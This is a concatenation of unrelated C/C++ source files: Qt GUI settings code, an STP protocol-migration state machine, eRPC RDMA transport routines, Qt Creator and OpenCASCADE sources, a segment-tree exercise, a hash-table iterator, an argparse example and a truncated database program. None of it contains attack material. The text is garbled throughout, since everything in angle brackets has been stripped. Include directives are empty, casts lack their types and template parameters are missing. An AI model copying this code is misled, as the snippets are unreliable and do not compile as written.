Utils::InterConnector::instance().profileSettingsBack(); currentSettingsItem_ = Utils::CommonSettingsType::CommonSettingsType_VoiceVideo; updateSettingsState(); emit Utils::InterConnector::instance().showHeader(QT_TRANSLATE_NOOP("main_page", "Voice and video")); emit Utils::InterConnector::instance().generalSettingsShow((int)Utils::CommonSettingsType::CommonSettingsType_VoiceVideo); } void SettingsTab::settingsNotificationsClicked() { if (currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Profile) emit Utils::InterConnector::instance().profileSettingsBack(); currentSettingsItem_ = Utils::CommonSettingsType::CommonSettingsType_Notifications; updateSettingsState(); emit Utils::InterConnector::instance().showHeader(QT_TRANSLATE_NOOP("main_page", "Notifications")); emit Utils::InterConnector::instance().generalSettingsShow((int)Utils::CommonSettingsType::CommonSettingsType_Notifications); } void SettingsTab::settingsThemesClicked() { if (currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Profile) emit Utils::InterConnector::instance().profileSettingsBack(); currentSettingsItem_ = Utils::CommonSettingsType::CommonSettingsType_Themes; updateSettingsState(); emit Utils::InterConnector::instance().showHeader(QT_TRANSLATE_NOOP("main_page", "Wallpaper")); emit Utils::InterConnector::instance().themesSettingsShow(false, ""); } void SettingsTab::updateSettingsState() { ui_->myProfileButton->blockSignals(true); ui_->generalButton->blockSignals(true); ui_->voipButton->blockSignals(true); ui_->notificationsButton->blockSignals(true); ui_->themesButton->blockSignals(true); ui_->myProfileButton->setChecked(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Profile); ui_->myProfileButton->setDisabled(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Profile); ui_->myProfileButton->setActive(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Profile); ui_->myProfileButton->setTextColor(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Profile ? "#ffffff" : "#454545"); ui_->generalButton->setChecked(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_General); ui_->generalButton->setDisabled(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_General); ui_->generalButton->setActive(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_General); ui_->generalButton->setTextColor(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_General ? "#ffffff" : "#454545"); ui_->voipButton->setChecked(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_VoiceVideo); ui_->voipButton->setDisabled(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_VoiceVideo); ui_->voipButton->setActive(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_VoiceVideo); ui_->voipButton->setTextColor(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_VoiceVideo ? "#ffffff" : "#454545"); ui_->notificationsButton->setChecked(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Notifications); ui_->notificationsButton->setDisabled(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Notifications); ui_->notificationsButton->setActive(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Notifications); ui_->notificationsButton->setTextColor(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Notifications ? "#ffffff" : "#454545"); ui_->themesButton->setChecked(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Themes); ui_->themesButton->setDisabled(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Themes); ui_->themesButton->setActive(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Themes); ui_->themesButton->setTextColor(currentSettingsItem_ == Utils::CommonSettingsType::CommonSettingsType_Themes ? "#ffffff" : "#454545"); ui_->myProfileButton->blockSignals(false); ui_->generalButton->blockSignals(false); ui_->voipButton->blockSignals(false); ui_->notificationsButton->blockSignals(false); ui_->themesButton->blockSignals(false); } void SettingsTab::compactModeChanged() { setCompactMode(isCompact_, true); } } // This file is part of the mstp-lib library, available at https://github.com/adigostin/mstp-lib // Copyright (c) 2011-2020 , distributed under Apache License v2.0. // This file implements 13.32 from 802.1Q-2018 #include "stp_procedures.h" #include "stp_conditions_and_params.h" #include "stp_bridge.h" #include using namespace PortProtocolMigration; #if STP_USE_LOG static const char* GetStateName (State state) { switch (state) { case CHECKING_RSTP: return "CHECKING_RSTP"; case SELECTING_STP: return "SELECTING_STP"; case SENSING: return "SENSING"; default: return "(undefined)"; } } #endif // ============================================================================ // Returns the new state, or 0 when no transition is to be made. static State CheckConditions (const STP_BRIDGE* bridge, PortIndex givenPort, State state) { PORT* port = bridge->ports[givenPort]; // ------------------------------------------------------------------------ // Check global conditions. if (bridge->BEGIN) { if (state == CHECKING_RSTP) { // The entry block for this state has been executed already. return (State)0; } return CHECKING_RSTP; } // ------------------------------------------------------------------------ // Check exit conditions from each state. if (state == CHECKING_RSTP) { if (port->mDelayWhile == 0) return SENSING; if ((port->mDelayWhile != bridge->MigrateTime) && !port->portEnabled) return CHECKING_RSTP; return (State)0; } if (state == SELECTING_STP) { if ((port->mDelayWhile == 0) || !port->portEnabled || port->mcheck) return SENSING; return (State)0; } if (state == SENSING) { if (port->sendRSTP && port->rcvdSTP) return SELECTING_STP; if (!port->portEnabled || port->mcheck || ((rstpVersion(bridge) && !port->sendRSTP && port->rcvdRSTP))) return CHECKING_RSTP; return (State)0; } assert (false); return (State)0; } // ============================================================================ static void InitState (STP_BRIDGE* bridge, PortIndex givenPort, State state, unsigned int timestamp) { PORT* port = bridge->ports[givenPort]; if (state == CHECKING_RSTP) { port->mcheck = false; port->sendRSTP = rstpVersion(bridge); port->mDelayWhile = bridge->MigrateTime; } else if (state == SELECTING_STP) { port->sendRSTP = false; port->mDelayWhile = bridge->MigrateTime; } else if (state == SENSING) { port->rcvdRSTP = port->rcvdSTP = false; } else assert (false); } const StateMachine PortProtocolMigration::sm = { #if STP_USE_LOG "PortProtocolMigration", &GetStateName, #endif &CheckConditions, &InitState }; nilyibo/eRPCsrc/transport_impl/raw/raw_transport_datapath.cc #ifdef ERPC_RAW #include "raw_transport.h" #include "util/huge_alloc.h" namespace erpc { void RawTransport::tx_burst(const tx_burst_item_t* tx_burst_arr, size_t num_pkts) { for (size_t i = 0; i < num_pkts; i++) { const tx_burst_item_t& item = tx_burst_arr[i]; const MsgBuffer* msg_buffer = item.msg_buffer; // Verify constant fields of work request struct ibv_send_wr& wr = send_wr[i]; struct ibv_sge* sgl = send_sgl[i]; assert(wr.next == &send_wr[i + 1]); // +1 is valid assert(wr.opcode == IBV_WR_SEND); assert(wr.sg_list == sgl); // Set signaling + poll SEND CQ if needed. The wr is non-inline by default. wr.send_flags = get_signaled_flag() ? IBV_SEND_SIGNALED : 0; size_t pkt_size; pkthdr_t* pkthdr; if (item.pkt_idx == 0) { // This is the first packet, so we need only 1 SGE. This can be CR/RFR. pkthdr = msg_buffer->get_pkthdr_0(); sgl[0].addr = reinterpret_cast(pkthdr); sgl[0].length = msg_buffer->get_pkt_size(0); sgl[0].lkey = msg_buffer->buffer.lkey; if (kMaxInline > 0 && sgl[0].length <= kMaxInline + MLX5_ETH_INLINE_HEADER_SIZE) { wr.send_flags |= IBV_SEND_INLINE; } pkt_size = sgl[0].length; wr.num_sge = 1; } else { // This is not the first packet, so we need 2 SGEs pkthdr = msg_buffer->get_pkthdr_n(item.pkt_idx); sgl[0].addr = reinterpret_cast(pkthdr); sgl[0].length = static_cast(sizeof(pkthdr_t)); sgl[0].lkey = msg_buffer->buffer.lkey; size_t offset = item.pkt_idx * kMaxDataPerPkt; sgl[1].addr = reinterpret_cast(&msg_buffer->buf[offset]); sgl[1].length = std::min(kMaxDataPerPkt, msg_buffer->data_size - offset); sgl[1].lkey = msg_buffer->buffer.lkey; pkt_size = sgl[0].length + sgl[1].length; wr.num_sge = 2; } // We can do an 8-byte aligned memcpy as the 2-byte UDP csum is already 0 static constexpr size_t hdr_copy_sz = kInetHdrsTotSize - 2; static_assert(hdr_copy_sz == 40, ""); memcpy(&pkthdr->headroom[0], item.routing_info, hdr_copy_sz); if (kTesting && item.drop) { // XXX: Can this cause performance problems? auto* eth_hdr = reinterpret_cast(pkthdr->headroom); memset(ð_hdr->dst_mac, 0, sizeof(eth_hdr->dst_mac)); } auto* ipv4_hdr = reinterpret_cast(&pkthdr->headroom[sizeof(eth_hdr_t)]); assert(ipv4_hdr->check == 0); ipv4_hdr->tot_len = htons(pkt_size - sizeof(eth_hdr_t)); auto* udp_hdr = reinterpret_cast(&ipv4_hdr[1]); assert(udp_hdr->check == 0); udp_hdr->len = htons(pkt_size - sizeof(eth_hdr_t) - sizeof(ipv4_hdr_t)); ERPC_TRACE( "eRPC RawTransport: Sending packet (idx = %zu, drop = %u). SGE #1 %uB, " " SGE #2 = %uB. pkthdr = %s. Frame header = %s.\n", i, item.drop, sgl[0].length, (wr.num_sge == 2 ? sgl[1].length : 0), pkthdr->to_string().c_str(), frame_header_to_string(&pkthdr->headroom[0]).c_str()); } send_wr[num_pkts - 1].next = nullptr; // Breaker of chains, Khaleesi of grass struct ibv_send_wr* bad_wr; int ret = ibv_post_send(qp, &send_wr[0], &bad_wr); if (unlikely(ret != 0)) { fprintf(stderr, "eRPC: Fatal error. ibv_post_send failed. ret = %d\n", ret); assert(ret == 0); exit(-1); } send_wr[num_pkts - 1].next = &send_wr[num_pkts]; // Restore chain; safe } void RawTransport::tx_flush() { if (unlikely(nb_tx == 0)) return; // There's nothing in the DMA queue // If we are here, we have sent a packet. The selective signaling logic // guarantees that there is *exactly one* *signaled* SEND work request. poll_cq_one_helper(send_cq); // Poll the one existing signaled WQE size_t pkt_size = kInetHdrsTotSize + 8; Buffer buffer = huge_alloc->alloc(pkt_size); // Get a registered buffer assert(buffer.buf != nullptr); memset(buffer.buf, 0, pkt_size); auto* pkthdr = reinterpret_cast(buffer.buf); // Create a valid packet to self, but later we'll garble the destination IP RoutingInfo self_ri; fill_local_routing_info(&self_ri); resolve_remote_routing_info(&self_ri); memcpy(&pkthdr->headroom[0], &self_ri, sizeof(RoutingInfo)); auto* ipv4_hdr = reinterpret_cast(&pkthdr->headroom[sizeof(eth_hdr_t)]); assert(ipv4_hdr->check == 0); ipv4_hdr->tot_len = htons(pkt_size - sizeof(eth_hdr_t)); ipv4_hdr->dst_ip = 0; // Dropped by switch, fast auto* udp_hdr = reinterpret_cast(&ipv4_hdr[1]); assert(udp_hdr->check == 0); udp_hdr->len = htons(pkt_size - sizeof(eth_hdr_t) - sizeof(ipv4_hdr_t)); // Use send_wr[0] to post the second signaled flush WQE struct ibv_send_wr& wr = send_wr[0]; struct ibv_sge* sgl = send_sgl[0]; assert(wr.next == &send_wr[1]); // +1 is valid assert(wr.opcode == IBV_WR_SEND); assert(wr.sg_list == send_sgl[0]); sgl[0].addr = reinterpret_cast(pkthdr); sgl[0].length = pkt_size; sgl[0].lkey = buffer.lkey; wr.next = nullptr; // Break the chain wr.send_flags = IBV_SEND_SIGNALED; // Not inlined! wr.num_sge = 1; struct ibv_send_wr* bad_wr; int ret = ibv_post_send(qp, &send_wr[0], &bad_wr); if (unlikely(ret != 0)) { fprintf(stderr, "tx_flush post_send() failed. ret = %d\n", ret); assert(ret == 0); exit(-1); } wr.next = &send_wr[1]; // Restore the chain poll_cq_one_helper(send_cq); // Poll the signaled WQE posted above nb_tx = 0; // Reset signaling logic huge_alloc->free_buf(buffer); testing.tx_flush_count++; } size_t RawTransport::rx_burst() { if (kDumb) { cqe_snapshot_t cur_snapshot; snapshot_cqe(&recv_cqe_arr[cqe_idx], cur_snapshot); const size_t delta = get_cqe_cycle_delta(prev_snapshot, cur_snapshot); if (delta == 0 || delta >= kNumRxRingEntries) return 0; for (size_t i = 0; i < delta; i++) { auto* pkthdr = reinterpret_cast(&ring_extent.buf[recv_head * kRecvSize]); __builtin_prefetch(pkthdr, 0, 3); ERPC_TRACE( "eRPC RawTransport: Received pkt. pkthdr = %s. Frame header = %s.\n", pkthdr->to_string().c_str(), frame_header_to_string(&pkthdr->headroom[0]).c_str()); recv_head = (recv_head + 1) % kNumRxRingEntries; } // We can move to next CQE only after the current is used (i.e., delta > 0) cqe_idx = (cqe_idx + 1) % kRecvCQDepth; prev_snapshot = cur_snapshot; return delta; } else { int ret = ibv_poll_cq(recv_cq, kPostlist, recv_wc); assert(ret >= 0); return static_cast(ret); } } void RawTransport::post_recvs(size_t num_recvs) { assert(num_recvs <= kNumRxRingEntries); // num_recvs can be 0 recvs_to_post += num_recvs; if (kDumb) { if (recvs_to_post < kStridesPerWQE) return; int ret = wq_family->recv_burst(wq, &mp_recv_sge[mp_sge_idx], 1); _unused(ret); assert(ret == 0); mp_sge_idx = (mp_sge_idx + 1) % kRQDepth; recvs_to_post -= kStridesPerWQE; // Reset slack counter } else { if (recvs_to_post < kRecvSlack) return; if (kFastRecv) { // Construct a special RECV wr that the modded driver understands. Encode // the number of required RECVs in its num_sge field. struct ibv_recv_wr special_wr; special_wr.wr_id = kMagicWrIDForFastRecv; special_wr.num_sge = recvs_to_post; struct ibv_recv_wr* bad_wr = &special_wr; int ret = ibv_post_recv(qp, nullptr, &bad_wr); if (unlikely(ret != 0)) { fprintf(stderr, "eRPC IBTransport: Post RECV (fast) error %d\n", ret); exit(-1); } // Reset slack counter recvs_to_post = 0; return; } // The recvs posted are @first_wr through @last_wr, inclusive struct ibv_recv_wr *first_wr, *last_wr, *temp_wr, *bad_wr; size_t first_wr_i = recv_head; size_t last_wr_i = first_wr_i + (recvs_to_post - 1); if (last_wr_i >= kRQDepth) last_wr_i -= kRQDepth; first_wr = &recv_wr[first_wr_i]; last_wr = &recv_wr[last_wr_i]; temp_wr = last_wr->next; last_wr->next = nullptr; // Breaker of chains, the Unburnt int ret = ibv_post_recv(qp, first_wr, &bad_wr); if (unlikely(ret != 0)) { fprintf(stderr, "eRPC IBTransport: Post RECV (normal) error %d\n", ret); exit(-1); } last_wr->next = temp_wr; // Restore circularity // Update RECV head: go to the last wr posted and take 1 more step recv_head = last_wr_i; recv_head = (recv_head + 1) % kRQDepth; recvs_to_post = 0; // Reset slack counter return; } // Nothing should be here } } // namespace erpc #endif src/uproar/memory.hpp0 #ifndef UPROAR_MEMORY_HPP #define UPROAR_MEMORY_HPP #include "core/scoped_ptr.hpp" #include "core/singleton_base.hpp" #endif // UPROAR_MEMORY_HPP /**************************************************************************** ** ** Copyright (C) 2016 ** Copyright (C) 2016 ** Contact: https://www.qt.io/licensing/ ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see https://www.qt.io/terms-conditions. For further ** information use the contact form at https://www.qt.io/contact-us. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3 as published by the Free Software ** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT ** included in the packaging of this file. Please review the following ** information to ensure the GNU General Public License requirements will ** be met: https://www.gnu.org/licenses/gpl-3.0.html. ** ****************************************************************************/ #include "todoitemsprovider.h" #include "constants.h" #include "cpptodoitemsscanner.h" #include "qmljstodoitemsscanner.h" #include "todoitemsmodel.h" #include "todoitemsscanner.h" #include #include #include #include #include #include #include #include #include using namespace ProjectExplorer; namespace Todo { namespace Internal { TodoItemsProvider::TodoItemsProvider(Settings settings, QObject *parent) : QObject(parent), m_settings(settings) { setupItemsModel(); setupStartupProjectBinding(); setupCurrentEditorBinding(); setupUpdateListTimer(); createScanners(); } TodoItemsModel *TodoItemsProvider::todoItemsModel() { return m_itemsModel; } void TodoItemsProvider::settingsChanged(const Settings &newSettings) { if (newSettings.keywords != m_settings.keywords) { foreach (TodoItemsScanner *scanner, m_scanners) scanner->setParams(newSettings.keywords); } m_settings = newSettings; updateList(); } void TodoItemsProvider::projectSettingsChanged(Project *project) { Q_UNUSED(project); updateList(); } void TodoItemsProvider::updateList() { m_itemsList.clear(); // Show only items of the current file if any if (m_settings.scanningScope == ScanningScopeCurrentFile) { if (m_currentEditor) m_itemsList = m_itemsHash.value(m_currentEditor->document()->filePath().toString()); // Show only items of the current sub-project } else if (m_settings.scanningScope == ScanningScopeSubProject) { if (m_startupProject) setItemsListWithinSubproject(); // Show only items of the startup project if any } else if (m_startupProject) { setItemsListWithinStartupProject(); } m_itemsModel->todoItemsListUpdated(); } void TodoItemsProvider::createScanners() { qRegisterMetaType >("QList"); if (CppTools::CppModelManager::instance()) m_scanners << new CppTodoItemsScanner(m_settings.keywords, this); if (QmlJS::ModelManagerInterface::instance()) m_scanners << new QmlJsTodoItemsScanner(m_settings.keywords, this); foreach (TodoItemsScanner *scanner, m_scanners) { connect(scanner, &TodoItemsScanner::itemsFetched, this, &TodoItemsProvider::itemsFetched, Qt::QueuedConnection); } } void TodoItemsProvider::setItemsListWithinStartupProject() { QHashIterator > it(m_itemsHash); const QSet fileNames = QSet::fromList(Utils::transform(m_startupProject->files(Project::SourceFiles), &Utils::FileName::toString)); QVariantMap settings = m_startupProject->namedSettings(Constants::SETTINGS_NAME_KEY).toMap(); while (it.hasNext()) { it.next(); QString fileName = it.key(); if (fileNames.contains(fileName)) { bool skip = false; for (const QVariant &pattern : settings[Constants::EXCLUDES_LIST_KEY].toList()) { QRegExp re(pattern.toString()); if (re.indexIn(fileName) != -1) { skip = true; break; } } if (!skip) m_itemsList << it.value(); } } } void TodoItemsProvider::setItemsListWithinSubproject() { // TODO prefer current editor as source of sub-project const Node *node = ProjectTree::findCurrentNode(); if (node) { ProjectNode *projectNode = node->parentProjectNode(); if (projectNode) { // FIXME: The name doesn't match the implementation that lists all files. QSet subprojectFileNames; projectNode->forEachGenericNode([&](Node *node) { subprojectFileNames.insert(node->filePath()); }); // files must be both in the current subproject and the startup-project. const QSet fileNames = QSet::fromList(Utils::transform(m_startupProject->files(Project::SourceFiles), &Utils::FileName::toString)); QHashIterator > it(m_itemsHash); while (it.hasNext()) { it.next(); if (subprojectFileNames.contains(Utils::FileName::fromString(it.key())) && fileNames.contains(it.key())) { m_itemsList << it.value(); } } } } } void TodoItemsProvider::itemsFetched(const QString &fileName, const QList &items) { // Replace old items with new ones m_itemsHash.insert(fileName, items); m_shouldUpdateList = true; } void TodoItemsProvider::startupProjectChanged(Project *project) { m_startupProject = project; updateList(); } void TodoItemsProvider::projectsFilesChanged() { updateList(); } void TodoItemsProvider::currentEditorChanged(Core::IEditor *editor) { m_currentEditor = editor; if (m_settings.scanningScope == ScanningScopeCurrentFile || m_settings.scanningScope == ScanningScopeSubProject) { updateList(); } } void TodoItemsProvider::updateListTimeoutElapsed() { if (m_shouldUpdateList) { m_shouldUpdateList = false; updateList(); } } void TodoItemsProvider::setupStartupProjectBinding() { m_startupProject = SessionManager::startupProject(); connect(SessionManager::instance(), &SessionManager::startupProjectChanged, this, &TodoItemsProvider::startupProjectChanged); connect(ProjectExplorerPlugin::instance(), &ProjectExplorerPlugin::fileListChanged, this, &TodoItemsProvider::projectsFilesChanged); } void TodoItemsProvider::setupCurrentEditorBinding() { m_currentEditor = Core::EditorManager::currentEditor(); connect(Core::EditorManager::instance(), &Core::EditorManager::currentEditorChanged, this, &TodoItemsProvider::currentEditorChanged); } void TodoItemsProvider::setupUpdateListTimer() { m_shouldUpdateList = false; QTimer *timer = new QTimer(this); connect(timer, &QTimer::timeout, this, &TodoItemsProvider::updateListTimeoutElapsed); timer->start(Constants::OUTPUT_PANE_UPDATE_INTERVAL); } void TodoItemsProvider::setupItemsModel() { m_itemsModel = new TodoItemsModel(this); m_itemsModel->setTodoItemsList(&m_itemsList); } } } // Created on: 1998-07-21 // Created by: data exchange team // Copyright (c) 1998-1999 // Copyright (c) 1999-2014 OPEN CASCADE SAS // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _ShapeExtend_HeaderFile #define _ShapeExtend_HeaderFile #include #include #include #include #include #include class ShapeExtend_ComplexCurve; class ShapeExtend_CompositeSurface; class ShapeExtend_WireData; class ShapeExtend_BasicMsgRegistrator; class ShapeExtend_MsgRegistrator; class ShapeExtend_Explorer; //! This package provides general tools and data structures common //! for other packages in SHAPEWORKS and extending CAS.CADE //! structures. //! The following items are provided by this package: //! - enumeration Status used for coding status flags in methods //! inside the SHAPEWORKS //! - enumeration Parametrisation used for setting global parametrisation //! on the composite surface //! - class CompositeSurface representing a composite surface //! made of a grid of surface patches //! - class WireData representing a wire in the form of ordered //! list of edges //! - class MsgRegistrator for attaching messages to the objects //! - tools for exploring the shapes //! - tools for creating new shapes. class ShapeExtend { public: DEFINE_STANDARD_ALLOC //! Inits using of ShapeExtend. //! Currently, loads messages output by ShapeHealing algorithms. Standard_EXPORT static void Init(); //! Encodes status (enumeration) to a bit flag Standard_EXPORT static Standard_Integer EncodeStatus (const ShapeExtend_Status status); //! Tells if a bit flag contains bit corresponding to enumerated status Standard_EXPORT static Standard_Boolean DecodeStatus (const Standard_Integer flag, const ShapeExtend_Status status); protected: private: friend class ShapeExtend_ComplexCurve; friend class ShapeExtend_CompositeSurface; friend class ShapeExtend_WireData; friend class ShapeExtend_BasicMsgRegistrator; friend class ShapeExtend_MsgRegistrator; friend class ShapeExtend_Explorer; }; #endif // _ShapeExtend_HeaderFile #include #define MIN(A, B) (A <= B ? A : B) #define NMAX 100000 #define INF 1e9 using namespace std; ifstream f("rmq.in"); ofstream g("rmq.out"); int arb[4*NMAX + 1]; int pos, val, minim, start, finish, n, m; void update_tree(int node, int left, int right){ if(left == right){ arb[node] = val; return; } int mid = (left + right) / 2; if(pos <= mid) { update_tree(2*node, left, mid); } else{ update_tree(2*node + 1, mid + 1, right); } arb[node] = MIN(arb[2*node], arb[2*node + 1]); } void querry_tree(int node, int left, int right){ if(start <= left && right <= finish){ if(minim > arb[node]){ minim = arb[node]; } return; } int mid = (left + right) / 2; if(start <= mid){ querry_tree(2*node, left, mid); } if(finish > mid){ querry_tree(2*node + 1, mid + 1, right); } } int main(){ f >> n >> m; for(int i = 1; i<=n; i++){ int x; f >> x; pos = i; val = x; update_tree(1, 1, n); } while(m){ int x, y; f >> x >> y; minim = 1e9; start = x; finish = y; querry_tree(1, 1, n); g << minim << '\n'; m --; } return 0; } /* ** Copyright 2013 Centreon ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. ** ** For more information : */ #ifndef CCB_BBDO_VERSION_RESPONSE_HH #define CCB_BBDO_VERSION_RESPONSE_HH #include #include "com/centreon/broker/bbdo/internal.hh" #include "com/centreon/broker/io/data.hh" #include "com/centreon/broker/io/event_info.hh" #include "com/centreon/broker/io/events.hh" #include "com/centreon/broker/mapping/entry.hh" #include "com/centreon/broker/namespace.hh" CCB_BEGIN() namespace bbdo { /** * @class version_response version_response.hh * "com/centreon/broker/bbdo/version_response.hh" * @brief Send protocol version used by endpoint. * * Send protocol version used by endpoint. */ class version_response : public io::data { public: short bbdo_major; short bbdo_minor; short bbdo_patch; std::string extensions; version_response(); version_response(std::string extensions); version_response(const version_response&) = delete; ~version_response() noexcept = default; version_response& operator=(const version_response&) = delete; /** * Get the event type. * * @return The event type. */ constexpr static uint32_t static_type() { return io::events::data_type::value; } static mapping::entry const entries[]; static io::event_info::event_operations const operations; }; } // namespace bbdo CCB_END() #endif // !CCB_BBDO_VERSION_RESPONSE_HH /** * @file sciterator.cpp * Implementation of the SCIteratorImpl implementation class. */ template SCHashTable::SCIteratorImpl::SCIteratorImpl(const SCHashTable& ht, size_t i, bool en) : table(ht), bucket(i), end(en) { if (bucket < table.size) { bucket_iterator = table.table[bucket].begin(); if (bucket_iterator == table.table[bucket].end()) operator++(); } } template void SCHashTable::SCIteratorImpl::operator++() { if (++bucket_iterator == table.table[bucket].end()) { while (++bucket < table.size && table.table[bucket].empty()) ; if (bucket < table.size) { bucket_iterator = table.table[bucket].begin(); } else end = true; } } template bool SCHashTable::SCIteratorImpl:: operator==(const HTIteratorImpl& rhs) const { const HTIteratorImpl* tmp = &rhs; const SCIteratorImpl* other = dynamic_cast(tmp); if (other == NULL) return false; else return *other == *this; } template bool SCHashTable::SCIteratorImpl:: operator==(const SCIteratorImpl& rhs) const { return &table == &rhs.table && bucket == rhs.bucket && (bucket_iterator == rhs.bucket_iterator || (end && rhs.end)); } template const std::pair& SCHashTable::SCIteratorImpl::operator*() { return *bucket_iterator; } template typename HashTable::HTIteratorImpl* SCHashTable::SCIteratorImpl::clone() const { return new SCIteratorImpl(table, bucket, end); } /** @example argparse.cc * * An example of using the command line argument parser. */ #include #include using namespace ostd; int main() { writeln("-- VERY SIMPLE EXAMPLE --\n"); { arg_parser p{"test"}; p.add_optional("-h", "--help", 0) .help("print this message and exit") .action(arg_print_help(p)); p.add_optional("-t", "--test", 0) .help("test help") .action([](auto) { writeln("test invoked"); }); p.add_optional("-f", "--foo", 1) .help("foo help") .action([](auto vals) { writeln("foo invoked: ", vals[0]); }); writeln("--- without help:"); p.parse(iter({ "-f", "150", "-t" })); writeln("\n--- with help:"); p.parse(iter({ "--help" })); } writeln("\n-- DIFFERENT SYNTAX --\n"); { arg_parser p{"test", "/+"}; p.add_optional("/h", "/help", 0) .help("print this message and exit") .action(arg_print_help(p)); p.add_optional("+t", "++test", 0) .help("test help") .action([](auto) { writeln("test invoked"); }); p.add_optional("/f", "++foo", 1) .help("foo help") .action([](auto vals) { writeln("foo invoked: ", vals[0]); }); writeln("--- without help:"); p.parse(iter({ "/f", "150", "+t" })); writeln("\n--- with help:"); p.parse(iter({ "/help" })); } writeln("\n-- GROUPS AND OTHER FEATURES --\n"); { arg_parser p{"test"}; p.add_optional("-h", "--help", 0) .help("print this message and exit") .action(arg_print_help(p)); p.add_positional("foo", 1) .help("a positional arg"); p.add_positional("bar", arg_value::REST) .help("all other arguments"); auto &g1 = p.add_group("foo", "Group 1"); g1.add_optional("-x", "--test1", 0) .help("test1 help"); g1.add_optional("-y", "--test2", 1) .help("test2 help"); g1.add_optional("-z", "--test3", arg_value::OPTIONAL) .help("test3 help"); auto &g2 = p.add_group("bar", "Group 2"); g2.add_optional("-a", "--test4", arg_value::ALL, 0) .help("test4 help"); g2.add_optional("-b", "--test5", arg_value::ALL, 1) .help("test5 help"); g2.add_optional("-c", "--test6", arg_value::ALL, 2) .help("test6 help"); p.parse(iter({ "--help" })); } writeln("\n-- MUTUAL EXCLUSION --\n"); { arg_parser p{"test"}; p.add_optional("-h", "--help", 0) .help("print this message and exit") .action(arg_print_help(p)); auto &mg = p.add_mutually_exclusive_group(); mg.add_optional("--foo", 0); mg.add_optional("--bar", 0); auto &mgr = p.add_mutually_exclusive_group(true); mgr.add_optional("--test1", 0); mgr.add_optional("--test2", 0); writeln("--- help:"); p.parse(iter({ "--help" })); writeln("\n--- only foo:"); try { p.parse(iter({ "--foo" })); } catch (arg_error const &e) { writeln("---- error: ", e.what()); } writeln("\n--- only required:"); p.parse(iter({ "--test1" })); writeln("---- (no error)"); writeln("\n--- mutually exclusive:"); try { p.parse(iter({ "--test1", "--foo", "--bar" })); } catch (arg_error const &e) { writeln("---- error: ", e.what()); } writeln("\n--- both sets:"); p.parse(iter({ "--test1", "--foo" })); writeln("---- (no error)"); } } /* output: -- VERY SIMPLE EXAMPLE -- --- without help: foo invoked: 150 test invoked --- with help: Usage: test [opts] [args] Optional arguments: -h, --help print this message and exit -t, --test test help -f FOO, --foo FOO foo help -- DIFFERENT SYNTAX -- --- without help: foo invoked: 150 test invoked --- with help: Usage: test [opts] [args] Optional arguments: /h, /help print this message and exit +t, ++test test help /f FOO, ++foo FOO foo help -- GROUPS AND OTHER FEATURES -- Usage: test [opts] [args] Positional arguments: foo a positional arg bar all other arguments Optional arguments: -h, --help print this message and exit Group 1: -x, --test1 test1 help -y TEST2, --test2 TEST2 test2 help -z [TEST3], --test3 [TEST3] test3 help Group 2: -x, --test1 test1 help -y TEST2, --test2 TEST2 test2 help -z [TEST3], --test3 [TEST3] test3 help -a [TEST4 ...], --test4 [TEST4 ...] test4 help -b TEST5 [TEST5 ...], --test5 TEST5 [TEST5 ...] test5 help -c TEST6 TEST6 [TEST6 ...], --test6 TEST6 TEST6 [TEST6 ...] test6 help -- MUTUAL EXCLUSION -- --- help: Usage: test [opts] [args] Optional arguments: -h, --help print this message and exit --foo --bar --test1 --test2 --- only foo: ---- error: one of the arguments '--test1', '--test2' is required --- only required: ---- (no error) --- mutually exclusive: ---- error: argument '--bar' not allowed with argument '--foo' --- both sets: ---- (no error) */ Database/Database/main.cpp #include "Database.h" #include #include #include #include #include using namespace std; int main() { //system("pause"); /*clock_t t1, t2; t1 = clock(); Database my; t2 = clock(); double time1 = (double)(t2-t1)/CLOCKS_PER_SEC*1000; cout << "\n cAll Movies:\n"; for(int i = 0; i < my.AllMovieList.size();i++) { cout << my.AllMovieList[i] << endl; } cout << "All Users:\n"; cout << time1 << " milisecons to gather data" << endl; enter: cout << "\nEnter Username: "; char* un = new char[1024]; char a = 97;int i = 0; do { cin.get(a); un[i++]=a; }while (a != 10); un[--i] = '\0'; t1 = clock(); try { cout << endl << my.RetrieveMovie(un); } catch(exception e) { cout << e.what() << 